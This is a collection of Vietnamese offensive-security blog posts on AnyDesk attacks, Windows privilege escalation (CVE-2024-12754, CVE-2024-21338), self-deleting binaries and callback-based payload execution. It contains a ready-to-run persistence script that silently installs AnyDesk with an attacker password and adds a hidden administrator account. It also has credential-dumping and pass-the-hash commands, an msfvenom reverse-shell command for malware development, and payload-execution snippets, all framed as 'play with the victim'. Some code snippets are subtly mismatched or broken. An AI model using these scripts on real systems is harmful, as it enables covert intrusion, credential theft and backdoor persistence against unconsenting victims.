4. Unattended Access Tính năng "truy cập không giám sát" cho phép kết nối từ xa mà không cần xác nhận của người dùng. Attacker brute-force password hoặc dùng credential rò rỉ để duy trì kết nối ngầm.

🌐 CVE-2021-44425

Khi sử dụng tính năng tunneling, client Windows của AnyDesk mở ra một cổng lắng nghe không cần thiết trên máy thuộc LAN của kẻ tấn công. Điều này cho phép kẻ tấn công truy cập trái phép vào bộ giao thức tunneling của AnyDesk trên máy cục bộ, cũng như vào bất kỳ phần mềm nào trên máy đích từ xa đang lắng nghe qua cổng được tunnel.

Kịch bản Tấn công:

Bối cảnh: Nhân viên công ty dùng AnyDesk tunnel để kết nối máy chủ nội bộ từ quán cà phê.
Lỗi Binding TCP: AnyDesk mặc định bind tunnel qua 0.0.0.0 (tất cả interface), kẻ tấn công cùng mạng Wi-Fi có thể:
- Chiếm quyền Truy cập: Khai thác cổng mạng bị lộ để tấn công dịch vụ nội bộ.
- Leo thang Đe dọa: Xâm nhập sâu vào mạng "an toàn", đánh cắp dữ liệu nhạy cảm qua kênh tunnel.

Hệ lụy:

Dịch vụ nội bộ (database, file server) bị phơi bày trên mạng công cộng.
Attacker chiếm quyền điều khiển toàn bộ stack giao tiếp AnyDesk của nạn nhân.

Privilege Escalation

Ở case này chúng ta có thể tận dụng lổ hổng CVE-2024-12754 để khai thác Local Privilege Escalation.

🌐 CVE-2024-12754

CVE-2024-12754 bắt nguồn từ cơ chế READ/WRITE file tùy ý của AnyDesk service, vốn chạy với quyền NT AUTHORITY\SYSTEM. Điều này đồng nghĩa với việc chúng ta có thể sao chép bất kỳ tệp nào đến một vị trí mà người dùng có đặc quyền thấp có thể truy cập, đồng thời vẫn giữ nguyên quyền sở hữu và các thiết lập quyền hạn ban đầu. Vậy chúng ta sẽ có kịch bản tấn công như sau:

Tận dụng lỗ hổng để copy file SAM/SECURITY

Chúng ta có thể kết hợp khai thác lỗ hổng và phương pháp Shadow Copy từ mã nguồn sau: https://github.com/Wh04m1001/VSSCopy (sử dụng hàm NtQueryDirectoryObject để thực hiện việc copy) để có thể copy các file SAM/SECURITY.

Note: NtQueryDirectoryObject là một hàm trong Windows Native API (NTAPI), thuộc nhóm hàm quản lý Object Manager của Windows. Hàm này cho phép truy vấn danh sách các Object Directory trong Windows Object Manager, giúp liệt kê các đối tượng hệ thống như named pipes, mutexes, events, symbolic links, shared memory, và device objects.

NTSTATUS NtQueryDirectoryObject(
  HANDLE DirectoryHandle, //Handle của Object Directory cần truy vấn.
  PVOID Buffer, //Bộ đệm chứa danh sách các đối tượng (trả về sau khi gọi hàm).
  ULONG Length, //Kích thước bộ đệm Buffer (tính bằng byte).
  BOOLEAN ReturnSingleEntry, // TRUE: Trả về một đối tượng duy nhất trong mỗi lần gọi. FALSE: Trả về danh sách đầy đủ các đối tượng có trong thư mục.
  BOOLEAN RestartScan, //TRUE: Quét lại từ đầu danh sách đối tượng. FALSE: Tiếp tục quét từ vị trí trước đó.
  PULONG Context, //Con trỏ đến vị trí quét hiện tại (giá trị sẽ được cập nhật khi quét danh sách đối tượng).
  PULONG ReturnLength //Trả về số byte thực tế được ghi vào Buffer.
);

Chúng ta xây dựng poc và output sau khi chạy poc của chúng ta: 2. Trích xuất Credential:
Sau khi chúng ta lấy được file SAM/SECURITY, chúng ta sử dụng các công cụ như secretsdump.py hoặc mimikatz để phân tích:

NTLM Hash của tài khoản Administrator.
LSA Secrets (dữ liệu nhạy cảm trong registry).
Cached Credentials (thông tin đăng nhập lưu cache).
- Ví dụ: Dùng secretsdump trong bộ impacket để trích xuất hash.
Command như sau: python .\.venv\Scripts\secretsdump.py -sam .\Result\sam -system .\Result\system LOCAL

Output:!

Lấy shell

Chúng ta có thể sử dụng kỹ thuật Pass The Hash để lấy system shell.

Sử dụng psexec từ bộ impacket để chạy shell với hash đã trích xuất được với cú pháp sau: impacket-psexec -hashes <LMHash>:<NTHash> <username>@<ip>

Kết quả:

Chúng ta có thể chạy shell với quyền NT AUTHORITY\SYSTEM.

Persistence - Backdooring AnyDesk for Future Access

Chúng ta cũng có thể tận dụng AnyDesk để persistence thông qua tính năng cho phép đặt mật khẩu điều khiển từ xa. Scripts dưới đây cho phép cài đặt AnyDesk một cách âm thầm và đặt mật khẩu để có quyền truy cập từ xa và đồng thời tạo ra một người dùng mới với các đặc quyền quản trị viên và ẩn tài khoản mới khỏi màn hình đăng nhập Windows.

# Tải & Cài đặt AnyDesk ngầm
mkdir "C:\ProgramData\AnyDesk"
$clnt = New-Object System.Net.WebClient
$clnt.DownloadFile("http://download.anydesk.com/AnyDesk.exe", "C:\ProgramData\AnyDesk.exe")
Start-Process "C:\ProgramData\AnyDesk.exe" -ArgumentList "--install C:\ProgramData\AnyDesk --start-with=win --silent" -Wait
# Đặt mật khẩu điều khiển từ xa
Start-Process "C:\ProgramData\anydesk.exe" -ArgumentList "--set-password hacker@123" -Wait
# Tạo user ẩn với quyền Admin
net user oldadministrator "hacker#213" /add
net localgroup Administrators oldadministrator /ADD
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

Bằng cách chạy đoạn script trên, Attacker có thể kết nối với target qua AnyDesk bất kỳ lúc nào. <h2><strong style="color: red;">Now you pwned everything!!! It’s your time to play with the victim.</strong><h2>

Windows Admin-to-Kernel Elevation of Privilege CVE-2024-21338

Wed, 25 Sep 2024 00:00:00 GMT

Giới thiệu

CVE 2024-21338 (CVSS Score: 8.8) nằm trong cơ chế xử lý IOCTL 0x22A018 của driver appid.sys. Khi nhận yêu cầu IOCTL này, hàm AipSmartHashImageFile() được kích hoạt để tính toán hash của file thực thi, nhưng cho phép kẻ tấn công kiểm soát hai con trỏ callback. Điều này dẫn đến khả năng ghi đè bộ nhớ kernel và tiềm ẩn rủi ro leo thang đặc quyền.

Phân tích driver appid.sys và vai trò của IOCTL

Note:

appid.sys: là trình điều khiển cung cấp khả năng kiểm soát ứng dụng trong AppLocker, nhằm ngăn chặnthực thi các ứng dụng không được phép. Tuy nhiên, lỗ hổng tồn tại trong cách mà driver xử lý mã IOCTL 0x22A018, sử dụng để tính toán smart hash của file thực thi.

IOCTL (Input/Output Control): là cơ chế cho phép ứng dụng người dùng giao tiếp với trình điều khiển kernel bằng cách gửi các yêu cầu cụ thể. Trong trường hợp này, IOCTL 0x22A018 cho phép chỉ định các con trỏ hàm để xử lý file, bao gồm truy vấn kích thước file và đọc dữ liệu từ file.

Để giao tiếp với driver thông qua IOCTL trên Windows, bước đầu tiên cần có handle để mở driver. Thông qua phân tích appid.sys(AppLocker) driver bằng IDA Pro, trong hàm DriverEntry xác định object cần mở để handle là "\\Device\\AppID". Hàm AipSmartHashImageFile() có vai trò chính trong việc tính toán "smart hash" của một file thực thi. Cụ thể, nó được gọi bởi driver appid.sys của Windows khi nhận yêu cầu IOCTL 0x22A018. Cơ chế hoạt động của hàm dựa trên hai callback function được truyền vào thông qua bộ nhớ đệm đầu vào. Về căn bản, driver xử lý các IOCTL trong các hàm tương tự như sau:

NTSTATUS DeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp)
{
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = stack->Parameters.DeviceIoControl.IoControlCode;
    switch (ioctlCode) {
        // Xử lý từng mã IOCTL
    }
}

Khi nhận được yêu cầu IOCTL, hàm DeviceControl được gọi với các tham số DeviceObject và Irp. Hàm này sẽ lấy mã IOCTL từ stack để xử lý. IOCTL sẽ được xử lý qua hàm AipDeviceIoControlDispath và sau đó chuyển tiếp đến hàm AipSmartHashImageFile để thực hiện tính toán hash. Khi trace ngược các lệnh gọi đến AipSmartHashImageFile, ta thấy luồng xử lý đi qua 2 hàm sau:

SmartLockerVerifyProcess: Đây là hàm của Windows Applocker dùng để xác minh tính hợp lệ của process trước khi cho phép thực thi. Hàm này thực hiện kiểm tra process dựa trên các quy tắc bảo mật đã thiết lập, đảm bảo chỉ các ứng dụng được uỷ quyền mới được phép chạy và xác thực tính toàn vẹn của file thực thi.
AipDeviceIoControlDispatch: trong quá trình phân tích code của hàm AipDeviceIoControlDispatch, ta có thể thấy format code khá tương đồng với code mẫu đã đề cập ở trên, từ đó có thể xác định đây chính là hàm dùng để xử lý các IOCTL(handle các IOCTL call của driver thông qua Device handle). Khi IOCTL code 0x22A018 được gọi, hàm AipSmartHashImageFile sẽ được thực thi với các tham số ConfigOptions được truyền vào. Ta có thể thấy hàm AipSmartHashImageFile được call tại IOCTL code là 0x22A018. Bên cạnh đó, để gửi một yêu cầu điều khiển tới hàm NtDeviceIoControl cần có struct IOCTL riêng.

Dựa trên tài liệu về IOCTL của Microsoft, để xử lý driver cần có quyền FILE_WRITE_ACCESS(với IOCTL code 0x0002). Để xác định user nào có quyền này trên AppID device, chúng ta tiến hành phân tích thông qua công cụ WinObj thuộc bộ SysInternalsSuites. Công cụ này cho phép liệt kê toàn bộ system object, bao gồm device và driver trong hệ thống. Kết quả kiểm tra ACL (Access Control List) của AppID device cho thấy ngay cả nhóm Administrators cũng không được cấp quyền Write. Qua kiểm tra bằng công cụ WinObj, phát hiện LOCAL SERVICE có đầy đủ quyền truy cập (Read, Write, Delete và Special permissions) trên AppID device. Đặc quyền này cho phép thực hiện truy cập và gọi đến hàm mong muốn thông qua IOCTL code. Wrapup: Từ những phân tích trên, lỗ hổng có thể được khai thác thông qua việc lợi dụng Windows Access Token bằng kỹ thuật Token impersonation và truyền payload tới hàm AipSmartHashImageFile. Đây chính là vector tấn công chính để thực hiện leo thang đặc quyền trong hệ thống.

Khai thác

Để thực hiện khai thác, cần truy cập vào "\\Device\\AppID" bằng user LOCAL SERVICE thông qua kỹ thuật Access Token impersonation.

Note: Theo tài liệu Microsoft, Windows Access Token là một object đại diện cho security context của process hoặc thread. Token này chứa thông tin về khả năng nhận dạng và quyền hạn của user account được gắn với process/thread tương ứng. Khi người dùng đăng nhập, hệ thống sẽ xác thực bằng cách so sánh thông tin với database và tạo access token. Mỗi process thực thi dưới user đó sẽ nhận được bản copy của token này.

Access token có thể được sao chép từ remote process trong Windows (với điều kiện có đủ quyền hạn). Quá trình leo thang từ Administrator lên NT AUTHORITY\SYSTEM (S-1-5-18) yêu cầu hai quyền đặc biệt:SeDebugPrivilege và SeAssignPrimaryTokenPrivilege.

Process winlogon.exe được chạy với quyền SYSTEM để quản lý trạng thái đăng nhập Windows, do đó nó sở hữu cả hai quyền trên và cho phép người dùng tương tác. Đặc biệt, process này còn cho phép duplicate NT AUTHORITY\SYSTEM access token từ process này.

Tiếp theo quá trình khai thác, sau khi sao chép SYSTEM token thông qua WinAPI DuplicateTokenEx, có thể truy cập vào NT AUTHORITY\LOCAL SERVICE(S-1-5-19) access token bằng cách tìm các token có hai quyền đặc biệt: SeDebugPrivilege và SeImpersonatePrivilege.

Process svhost.exe thường được chạy dưới quyền NT AUTHORITY\LOCAL SERVICE.

-> Là một đối tượng lý tưởng để khai thác.

Với quyền truy cập NT AUTHORITY\LOCAL SERVICE, đồng nghĩa với việc có quyền Write vào "\\Device\\AppID" và có thể sử dụng IOCTL code 0x22A018. Điều này cho phép mở handle và truy cập vào hàm AipSmartHashImageFile, từ đó có thể gửi payload để trigger PreviousMode bị memory corrupt.

Note: PreviousMode là một trường trong struct _KTHREAD, được sử dụng để đánh dấu syscall được gọi từ KernelMode hay UserMode. Một số syscall như Nt hoặc Zw(direct) sẽ kiểm tra giá trị PreviousMode bằng cách check PreviousMode của thread hiện tại.

Ví dụ: Khi gọi syscall NtWriteVirtualMemory trong ntoskrnl.exe, chương trình sẽ thực hiện gọi đến hàm MiReadWriteVirtualMemory, có thể xác nhận thông qua phân tích disassemble của hàm này.

Nhìn vào disassemble của hàm MiReadWriteVirtualMemory Ta có thể thấy đoạn kiểm tra giá trị của PreviousMode từ dòng 32 tới 35. Chuỗi gọi hàm khi thực hiện khai thác: Trong đó, hàm AppHashComputeImageHashInternal sẽ thực thi function pointer được control bởi user dựa trên buffer đã được control bởi user. Việc thực thi này được kích hoạt thông qua IOCTL 0x22A018.

=> Với khả năng kiểm soát function pointer trong hàm AipSmartHashImageFile, một hướng khai thác tiềm năng là gửi user-mode shellcode tới control code và sửa đổi giá trị PreviousMode của thread hiện tại về 0. Tuy nhiên, hai cơ chế bảo mật quan trọng của Windows đó chính là kCFG(Kernel Control Flow Guard) và SMEP(Supervisor Mode Execution Prevention) không cho phép chúng ta trực tiếp thực hiện điều này.

Phân tích và bypass các cơ chế bảo vệ.

Về SMEP:

Chức năng: Supervisor Mode Execution Prevention(SMEP) đóng vai trò như một bức tường ngăn cách, nghiêm ngặt chặn mọi nỗ lực thực thi code user-mode trong context của kernel. Cơ chế này đảm bảo tính toàn vẹn cảu không gian kernel bằng cách ngăn chặn việc thực thi mã từ không gian người dùng khi đang hoạt động ở đặc quyền cao hơn.
Kỹ thuật bypass:
- Sử dụng kỹ thuật ROP (Return Oriented Programming) để sắp xếp lại các đoạn mã trong kernel và tránh thực thi trực tiếp từ user-mode.
- Xác định các gadget phù hợp dựa vào kernel nhưng về cơ bản sẽ bao gồm các bước sau:
  - Tìm Gadget để điều chỉnh CR4: Xác định gadget move cr4,rax;ret; để thay đổi thay ghi CR4(Để bật/tắt SMEP).
  - Thiết lập giá trị CR4: Sử dụng gadget pop rax;ret; để nạp giá trị vào rax, trong đó bit 20 của CR4 là 0.
  - Thực hiện chuỗi ROP: Kích hoạt gadget move cr4,rax;ret; để hi rax vào CR4.
  - Nhảy đến mã user-mode: Trỏ tới shellcode.
  - Thiết lập lại CR4: Đặt lại bit SMEP trong CR4 để giảm thiểu khả năng detect sau khi khai thác xong.

Về kCFG:

Chức năng:
- Control Flow Guard(CFG) và phiên bản bảo vệ ở kernel là kCFG là các cơ chế bảo mật do Microsoft phát triển nhằm ngăn chặn khai thác mã độc bằng cách bảo vệ luồng điều khiển trong các ứng dụng và trong kernel của Windows. CFG giới hạn việc sử dụng các lệnhh gọi hàm gián tiếp, đảm bảo rằng chỉ những địa chỉ hợp lệ, đã được xác định trước mới có thể được gọi, qua đó giảm thiểu nguy cơ tấn công chèn mã độc.
- Ở user-mode, CFG hoạt động bằng cách duy trì một bitmap các địa chỉ được phép gọi gián tiếp. Khi một lệnh gọi gián tiếp được thực hiện, hệ thống sẽ kiểm tra địa chỉ này với bitmap. Nếu địa chỉ đó không được đánh dấu là an toàn, hệ thống sẽ chặn thực thi hàm, ngăn không cho truy cập trái phép vào các vùng nhớ quan trọng.
- Ở kernel-mode, kCFG thực thi các giới hạn tương tự. Các hàm trong kernel, bao gồm các lệnh gọi gián tiếp trong các driver, được xác thực thông qua tập hợp các con trỏ hợp lệ. Điều này đảm bảo rằng attacker không thể điều hướng các lệnh gọi hàm đến mã tuy ý hoặc độc hại. kCFG kết hợp với các biện pháp bảo vệ khác như Supervisor Mode Execution Prevention(SMEP) tạo ra một lốp bảo vệ bổ sung giúp hạn chế các con đường khai thác leo thang đặc quyền và lỗi memmory corrupt bên trong kernel của Windows. Nhờ CFG và kCFG, luồng điều khiển của hệ thống được duy trì an toàn, giảm khả năng khai thác thành công các lỗ hổng bảo mật.
Kỹ thuật bypass:
- Để vượt qua kCFG attacker có thể tận dụng các hàm hợp lệ trong kernel mà không vi phạm quy tắc của kCFG. Bằng cách thực hiện hook các hàm hợp lệ hoặc các callback hợp lệ trong kernel, attacker có thể xây dựng chuỗi khai thác mà vẫn tuân thủ cấu trúc hợp lệ được kiển soát bởi kCFG. Ví dụ: trong appid.sys, hàm ExpProfileDelete() có thể được sử dụng như một vector để kích hoạt các hàm khác trong kernel mà không bị kCFG chặn.
- Khi hàm ObfDeferenceObject được gọi trên địa chỉ PreviousMode của thread hiện tại, chúng sẽ làm giảm giá trị của PreviousMode của thread chính từ 1 xuống 0.
- Tại thời điểm này, chúng ta có thể gọi hàm NtReadVirtualMemory và NtWriteVirtualMemory lên các địa chỉ kernel từ user-mode. Và exploit thực thi mã tuỳ ý thành công từ user-mode

Demo

Windows Internals: The Art of Self-Deletion

Fri, 11 Aug 2023 00:00:00 GMT

Giới thiệu

Xin chào các bạn, mình là Zhuge. Hôm nay, mình sẽ giới thiệu với các bạn kĩ thuật SelfDelete, một kĩ thuật cho phép bạn xóa một file đang chạy. Trước khi đi sâu vào kĩ thuật này, chúng ta cần hiểu rõ về NTFS.

Vậy NTFS là gì ?

NTFS là hệ thống file độc quyền của Windows, nó vượt trội so với các tiền nhiệm như FAT và exFAT. NTFS cho phép quản lý quyền truy cập file, thư mục, nén, mã hóa, liên kết cứng, liên kết tượng trưng và giao dịch an toàn. NTFS cũng hỗ trợ luồng dữ liệu thay thế, cho phép một file chứa nhiều luồng thông tin. Điều này rất hữu dụng khi bạn muốn ẩn thông tin nhạy cảm hoặc file nhỏ vào file lớn hơn. Mỗi file đều có luồng dữ liệu mặc định là $DATA, nhưng người dùng cũng tạo thêm luồng riêng. Nhờ đó, NTFS mang tới nhiều tính năng vượt trội cho người dùng. Các bạn có thể đọc thêm tại đây:

https://owasp.org/www-community/attacks/Windows_alternate_data_stream https://www.malwarebytes.com/blog/news/2015/07/introduction-to-alternate-data-streams

Deleting A Running Binary

Chúng ta không thể xoá được file binary đang chạy trên Windows vì việc xoá file trên windows yêu cầu file đó phải không có process nào đang sử dụng.

Chúng ta cũng có thể xoá bằng cách sử dụng WinAPI DeleteFileA để xóa một file đang chạy. Nhưng bị lỗi ERROR_ACCESS_DENIED.

Một cách để vượt qua vấn đề này là đổi tên luồng dữ liệu mặc định :$DATA thành một tên khác ngẫu nhiên. Kết quả là xoá luồng dữ liệu mới đổi tên, và tệp nhị phân sẽ bị xoá khỏi đĩa, ngay cả khi nó vẫn đang chạy.

Vậy chúng ta thực hiện điều này như thế nào?

Retrieve File Handle

Bước đầu tiên là lấy Handle của file cần xoá bằng cách sử dụng WinAPI CreateFileW, với Access Flag được đặt thành DELETE để cung cấp quyền xóa tệp.

hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

Renaming The Data Stream

Tiếp theo để xóa tệp nhị phân đang chạy, chúng ta đổi tên luồng dữ liệu $DATA bằng cách sử dụng hàm SetFileInformationByHandle WinAPI với flag FileRenameInfo.

BOOL SetFileInformationByHandle(
HANDLE hFile, /// Handle của file cần thay đổi thông tin
FILE_INFO_BY_HANDLE_CLASS FileInformationClass, /// Flag đại diện cho loại thông tin cần thay đổi
LPVOID lpFileInformation, ///Con trỏ tới bộ đệm chứa thông tin cần thay đổi 
DWORD dwBufferSize /// Kích thước của bộ đệm 'lpFileInformation' tính bằng byte
);

Tham số FileInformationClass phải là một enum FILE_INFO_BY_HANDLE_CLASS, trong trường hợp này là FileRenameInfo, lpFileInformation là con trỏ tới cấu trúc FILE_RENAME_INFO. Microsoft đã đề cập như sau:

FILE_RENAME_INFO Structure

typedef struct _FILE_RENAME_INFO {
  union {
	BOOLEAN ReplaceIfExists;
	DWORD   Flags;
  } DUMMYUNIONNAME;
  BOOLEAN ReplaceIfExists;
  HANDLE  RootDirectory;
  DWORD   FileNameLength;
  WCHAR   FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

Chúng ta chỉ cần quan tâm tới hai trường là FileNameLength và FileName. Tài liệu của Microsoft giải thích cách định nghĩa một Stream NTFS mới. Vì vậy, tên file phải bắt đầu bằng một wide char là dấu hai chấm (:). Kết quả là đoạn code giống như sau:

	if (!::SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
		printf("[!] ::SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

Deleting The Data Stream

Cuối cùng, ta xóa stream tên $DATA bằng cách sử dụng WinAPI SetFileInformationByHandle với flag FileDispositionInfo. Flag này đánh dấu file sẽ bị xóa khi Handle của file đóng. Lưu ý: Khi sử dụng flag FileDispositionInfo, lpFileInformation phải là một con trỏ tới cấu trúc FILE_DISPOSITION_INFO.

typedef struct _FILE_DISPOSITION_INFO {
  BOOLEAN DeleteFile;       
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

DeleteFile chỉ cần được đặt thành TRUE để xóa tệp.

	Delete.DeleteFile = TRUE;

Implement Code:

   if (!::SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
		printf("[!] ::SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

Refreshing File Data Stream

Khi gọi lần đầu tiên SetFileInformationByHandle để đổi file data stream , Handle của file sẽ được đóng và mở lại bằng một lệnh CreateFileW khác. Việc này để làm mới file data stream và cung cấp handle mới chứa file data stream mới.


	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("[!] ::CreateFileW [D] Failed With Error : %d \n", GetLastError());
		return FALSE;
	}

Let's assemble it.

Thông thường chúng ta sử dụng WinAPI GetModuleFileNameW để lấy đường dẫn của file mô-đun được chỉ định. Nếu tham số đầu tiên được đặt là NULL, thì nó sẽ trả về đường dẫn của file thực thi của process hiện tại.

#include <iostream>
#include <Windows.h>
#define NEW_STREAM L":DeleteSelf"

BOOL DeleteSelf();
int main()
{
	DeleteSelf();
	return 0;

}
BOOL DeleteSelf() {


	WCHAR                       szPath[MAX_PATH * 2] = { 0 };
	FILE_DISPOSITION_INFO       Delete = { 0 };  
	HANDLE                      hFile = INVALID_HANDLE_VALUE; 
	PFILE_RENAME_INFO           pRename = NULL; 
	const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
	SIZE_T                      sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
	
	pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename); ///   Cấp phát đủ bộ nhớ cho struct 'FILE_RENAME_INFO'
	if (!pRename) {
		return FALSE;
	}
	 /// Clean các struct tránh các giá trị không mong muốn
	::ZeroMemory(szPath, sizeof(szPath)); 
	::ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));

	Delete.DeleteFile = TRUE;
	/// Đặt kích thước và bộ đệm lưu tên data stream mới trong struct 'FILE_RENAME_INFO'
	pRename->FileNameLength = sizeof(NewStream);
	::RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
	/// Lấy tên file hiện tại
	if (::GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
		return FALSE;
	}

	// Lấy handle của file hiện tại
	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);

	// Đổi tên data stream
	if (!::SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
		return FALSE;
	}

	wprintf(L"[+] Done \n");
	CloseHandle(hFile);
	// Mở handle mới cho file hiện tại
	hFile = ::CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return FALSE;
	}
	// Đánh dấu để xóa file sau khi đóng handle của file
	wprintf(L"[i] DELETING ...");
	if (!::SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
		return FALSE;
	}
	::CloseHandle(hFile);
	::HeapFree(::GetProcessHeap(), 0, pRename);

	wprintf(L"[+] DONE \n");
	return TRUE;
}

Show Case

Bây giờ bạn hãy tưởng tượng xem sẽ ra sao nếu chúng ta ứng dụng kĩ thuật nãy vào công việc malware dev?? Ở đây mình sẽ sử dụng 1 kĩ thuật khá cơ bản đó là shellcode Execute với payload meterpreter được tạo từ msfvenom thông qua câu lệnh sau. msfvenom -p windows/x64/shell_reverse_tcp lhost=<host> lport=<port> -f c Hàm main sẽ trông như thế này: Và đây là kết quả bạn đã xoá được file thực thi gốc sau khi chạy và lấy shell .

<h2><strong style="color: red;">Now you pwned everything!!! It’s your time to play with the victim.</strong><h2>

On the other hand

Ngoài ra kỹ thuật lưu trữ shellcode trong luồng dữ liệu thay thế của NTFS thực sự rất hay ho. Bạn có thể ẩn những hành động độc hại xuống một cấp độ khó phát hiện hơn. Ví dụ, tạo một file ZIP hoặc hình ảnh bình thường nhưng bên trong lại chứa shellcode meterpreter. Khi nạn nhân mở file đó lên, shellcode sẽ tự động chạy và lấy quyền điều khiển máy của họ. Lúc này kẻ tấn công đã có thể chiếm quyền điều khiển toàn bộ hệ thống, sao chép dữ liệu nhạy cảm hoặc sử dụng máy nạn nhân để tiếp tục phát tán mã độc ra các máy khác. Đây chỉ là một ví dụ đơn giản về cách khai thác kỹ thuật này, trên thực tế hacker có thể sáng tạo ra nhiều cách thức tinh vi hơn.

Windows Internals: A Look at Callback Functions

Sun, 09 Jul 2023 00:00:00 GMT

Callback functions là một khái niệm quan trọng trong nội bộ Windows, thường được sử dụng để xử lý các sự kiện hoặc thực thi hành động khi một điều kiện nhất định được đáp ứng. Các hàm này là công cụ mạnh mẽ trong các thao tác ở cấp hệ thống và cũng có thể bị lạm dụng cho mục đích xấu. Trong bài viết này, chúng ta sẽ tìm hiểu cách callback functions hoạt động, cách chúng có thể bị lợi dụng, và giới thiệu các kỹ thuật như mapping injection và function stomping.

Callback Function là gì?

Callback function là một hàm được truyền vào như một đối số của một hàm khác, với mục đích được gọi lại sau này khi một điều kiện hoặc sự kiện nhất định xảy ra. Các hàm này rất hữu ích trong việc quản lý các thao tác bất đồng bộ hoặc lập trình theo sự kiện. Ví dụ, callback có thể được sử dụng để xử lý các sự kiện hệ thống, xử lý thông điệp hoặc quản lý các tác vụ bất đồng bộ.

Tận dụng Callback Functions

Mặc dù callback functions là phần không thể thiếu trong hoạt động bình thường của chương trình, nhưng chúng cũng có thể bị lợi dụng để thực thi mã độc. Thay vì sử dụng các phương pháp truyền thống như CreateThread hoặc các kỹ thuật liên quan đến luồng khác, callback functions có thể được sử dụng để kích hoạt việc thực thi mã độc. Điều này đặc biệt nguy hiểm vì callback functions thường xuyên xuất hiện trong nhiều thao tác hệ thống, mở ra cơ hội cho kẻ tấn công lợi dụng. Sau đây chúng ta sẽ tìm hiểu vài api phổ biến có tính năng callback.

Sử Dụng `CreateTimerQueueTimer`

Hàm CreateTimerQueueTimer tạo một bộ đếm thời gian và thêm nó vào hàng đợi thời gian của hệ thống. Khi bộ đếm thời gian hết hạn, nó sẽ gọi callback function. Bằng cách thiết lập callback function để thực thi payload, kẻ tấn công có thể kích hoạt việc chạy mã độc. Dưới đây là cấu trúc cơ bản của CreateTimerQueueTimer:

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // đây
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

Ví dụ sử dụng để thực thi payload:

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng `EnumChildWindows`

Hàm EnumChildWindows cho phép ứng dụng liệt kê tất cả các cửa sổ con của một cửa sổ cha được chỉ định. Hàm này áp dụng callback function vào mỗi cửa sổ con. Bằng cách thiết lập callback để thực thi payload, mã độc có thể được chạy cho mỗi cửa sổ.

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // đây
  [in]           LPARAM      lParam
);

Ví dụ:

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng `EnumUILanguagesW`

Hàm EnumUILanguagesW được sử dụng để liệt kê tất cả các ngôn ngữ giao diện người dùng đã cài đặt trên hệ thống, gọi callback function cho mỗi ngôn ngữ. Hàm này cũng có thể bị lợi dụng bằng cách thiết lập callback để thực thi payload.

BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // đây
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);

Ví dụ sử dụng:

if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng `VerifierEnumerateResource`

Hàm VerifierEnumerateResource được sử dụng để liệt kê các tài nguyên trong một module. Khi bị lạm dụng, nó có thể được khai thác để chạy một payload. Hàm này yêu cầu module phải được tải với LoadLibrary và GetProcAddress, và cho phép bạn kiểm tra tài nguyên heap.

Ví dụ:

HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL) {
    printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return -1;
}

// Chạy payload bằng cách thiết lập cờ AvrfResourceHeapAllocation
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Mapping Injection

